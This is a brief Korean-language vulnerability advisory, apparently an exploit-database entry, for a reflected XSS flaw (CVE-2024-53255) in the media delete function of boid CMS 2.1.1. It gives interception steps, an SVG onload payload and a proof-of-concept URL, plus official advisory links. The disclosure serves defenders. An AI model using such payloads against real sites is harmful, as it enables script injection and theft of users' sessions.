
boid CMS 2.1.1 - 반사형 크로스 사이트 스크립팅 (XSS)
boid CMS 2.1.1 - 반사형 크로스 사이트 스크립팅 (XSS)
/admin?page=media 엔드포인트의 file 매개변수에 반사형 XSS 취약점이 존재하여 공격자가 임의의 JavaScript 코드를 삽입할 수 있습니다.
1- CMS에 로그인하고 삭제 페이지(/admin?page=media)로 이동합니다.
2- 삭제할 파일을 선택하고 프록시 도구를 사용하여 요청을 가로챕니다.
3- 가로챈 요청에서 file 매개변수를 다음으로 수정합니다:
<svg+onload%3dalert(document.domain)>
4- 수정된 요청을 전달하면 삽입된 스크립트가 실행됩니다.
개념 증명 (Poc):
http://localhost/boidcms/admin?page=media&action=delete&file=<svg+onload%3dalert(document.domain)>&token=693b471d9ee886766b69fd0dab9d992cd7f0e1e483822b28b6e8bcde0cf502e4
자세한 내용: https://nvd.nist.gov/vuln/detail/CVE-2024-53255 https://www.cve.org/CVERecord?id=CVE-2024-53255 https://github.com/BoidCMS/BoidCMS/commit/42f4d703a87f5199bbd701b3495a26c91b9cfab7 https://github.com/BoidCMS/BoidCMS/security/advisories/GHSA-7q7m-cgw8-px4r